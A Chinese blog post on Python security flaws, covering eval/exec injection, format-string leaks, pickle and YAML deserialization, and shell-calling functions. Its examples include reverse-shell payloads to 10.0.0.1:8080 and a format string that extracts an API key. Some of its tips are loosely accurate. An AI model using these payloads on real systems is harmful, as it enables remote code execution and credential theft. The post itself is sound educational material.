博客
关于我
Python开发常见漏洞
阅读量:585 次
发布时间:2019-03-11

本文共 2368 字,大约阅读时间需要 7 分钟。

Python编程安全

1.危险函数

在Python中,一些函数如果不当使用,可能会导致严重的安全问题。以下是三个常见的危险函数及其潜在风险:

1.1 eval

eval 函数能够将字符串作为代码执行,这使得它非常危险。攻击者可以通过构造恶意字符串,绕过身份验证或执行恶意操作。

示例:

eval('1+1')  # 返回 2
def addition(a, b):    return eval("%s + %s" % (a, b))result = addition(request.json['a'], request.json['b'])
{    "a": "__import__('os').system('bash -i > /dev/tcp/10.0.0.1/8080 0>&1')#",    "b": "2"}

上述输入会通过 os.system() 调用,绑定一个反向 shell。

1.2 exec

exec 函数与 eval 类似,直接执行字符串代码,同样存在严重安全隐患。

示例:

def addition(a, b):    return exec("%s + %s" % (a, b))

1.3 input

在 Python 2 中,input() 函数可以直接读取用户输入,且不进行任何类型验证。攻击者可以通过构造输入,绕过认证或导致其他安全问题。

示例:

user_pass = get_user_pass("admin")if user_pass == input("Please enter your password"):    login()else:    print("Password is incorrect!")

攻击者可以输入 user_pass 作为变量名,导致 if user_pass == user_pass 为真,伪造认证。

2.字符串格式化

str.format()format() 函数可以通过构造格式字符串,访问程序内的私有数据或执行恶意操作。

示例:

CONFIG = {    "API_KEY": "xxxxxxxxxxxxxxxxxxxxx"}class Person(object):    def __init__(self, name):        self.name = namedef print_nametag(format_string, person):    return format_string.format(person=person)new_person = Person("Pxiaoer")print_nametag(input("Please format your nametag!"), new_person)
print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)

上述代码会泄露 API_KEY

3.反序列化

3.1 Pickle

Pickle 是 Python 的序列化工具,但由于它不提供加密或验证机制,反序列化可以导致身份验证绕过或代码执行。

示例:

class Malicious:    def __reduce__(self):        return (os.system, ('bash -i > /dev/tcp/10.0.0.1/8080 0>&1',))fake_object = Malicious()session_cookie = base64.b64encode(pickle.dumps(fake_object))

反序列化时会执行 os.system,绑定一个反向 shell。

3.2 YAML 解析

YAML 解析也存在安全隐患,攻击者可以构造恶意 YAML 文件,绕过访问控制或执行代码。

示例:

!!python/object/apply:os.system ["bash -i > /dev/tcp/10.0.0.1/8080 0>&1"]

4.沙箱逃逸

在受限的沙箱环境中,攻击者可以通过调用特定函数(如 os.system, subprocess.call 等)获取更多权限。

示例:

import osimport subprocessimport commandsos.system('ifconfig')os.popen('ifconfig')commands.getoutput('ifconfig')commands.getstatusoutput('ifconfig')subprocess.call(['ifconfig'], shell=True)

攻击者可以通过这些函数直接执行 shell 命令。

5.安全编码规范

5.1 Web 编程

  • Flask 安全:使用 Flask-Security,避免直接生成 HTML,正确处理输入数据。
  • Django 安全:配置安全中间件,启用 HSTS 和 HTTPS,妥善存储秘密键。
  • XSS:避免直接在响应中拼接用户输入,使用安全渲染函数。
  • CSRF:使用 Django 的 csrf 中间件保护重要操作。
  • 命令注入:避免使用 os.system 等直接执行 shell 命令,使用 shutil.rmtree 等安全函数。
  • 文件操作:限制文件下载和上传,防止目录穿越。

5.2 审计工具

  • 使用工具如 logrotateauditd 定期审计日志和配置文件。

6.参考文章

你可能感兴趣的文章
nifi使用过程-常见问题-以及入门总结---大数据之Nifi工作笔记0012
查看>>
NIFI分页获取Mysql数据_导入到Hbase中_并可通过phoenix客户端查询_含金量很高的一篇_搞了好久_实际操作05---大数据之Nifi工作笔记0045
查看>>
NIFI分页获取Postgresql数据到Hbase中_实际操作---大数据之Nifi工作笔记0049
查看>>
NIFI同步MySql数据_到SqlServer_错误_驱动程序无法通过使用安全套接字层(SSL)加密与SQL Server_Navicat连接SqlServer---大数据之Nifi工作笔记0047
查看>>
Nifi同步过程中报错create_time字段找不到_实际目标表和源表中没有这个字段---大数据之Nifi工作笔记0066
查看>>
NIFI大数据进阶_FlowFile拓扑_对FlowFile内容和属性的修改删除添加_介绍和描述_以及实际操作---大数据之Nifi工作笔记0023
查看>>
NIFI大数据进阶_FlowFile生成器_GenerateFlowFile处理器_ReplaceText处理器_处理器介绍_处理过程说明---大数据之Nifi工作笔记0019
查看>>
NIFI大数据进阶_Json内容转换为Hive支持的文本格式_操作方法说明_01_EvaluteJsonPath处理器---大数据之Nifi工作笔记0031
查看>>
NIFI大数据进阶_Kafka使用相关说明_实际操作Kafka消费者处理器_来消费kafka数据---大数据之Nifi工作笔记0037
查看>>
NIFI大数据进阶_Kafka使用相关说明_实际操作Kafka生产者---大数据之Nifi工作笔记0036
查看>>
NIFI大数据进阶_NIFI的模板和组的使用-介绍和实际操作_创建组_嵌套组_模板创建下载_导入---大数据之Nifi工作笔记0022
查看>>
NIFI大数据进阶_NIFI监控功能实际操作_Summary查看系统和处理器运行情况_viewDataProvenance查看_---大数据之Nifi工作笔记0026
查看>>
NIFI大数据进阶_NIFI监控的强大功能介绍_处理器面板_进程组面板_summary监控_data_provenance事件源---大数据之Nifi工作笔记0025
查看>>
NIFI大数据进阶_NIFI集群知识点_认识NIFI集群以及集群的组成部分---大数据之Nifi工作笔记0014
查看>>
NIFI大数据进阶_NIFI集群知识点_集群的断开_重连_退役_卸载_总结---大数据之Nifi工作笔记0018
查看>>
NIFI大数据进阶_内嵌ZK模式集群1_搭建过程说明---大数据之Nifi工作笔记0015
查看>>
NIFI大数据进阶_外部ZK模式集群1_实际操作搭建NIFI外部ZK模式集群---大数据之Nifi工作笔记0017
查看>>
NIFI大数据进阶_实时同步MySql的数据到Hive中去_可增量同步_实时监控MySql数据库变化_操作方法说明_01---大数据之Nifi工作笔记0033
查看>>
NIFI大数据进阶_离线同步MySql数据到HDFS_01_实际操作---大数据之Nifi工作笔记0029
查看>>
NIFI大数据进阶_离线同步MySql数据到HDFS_02_实际操作_splitjson处理器_puthdfs处理器_querydatabasetable处理器---大数据之Nifi工作笔记0030
查看>>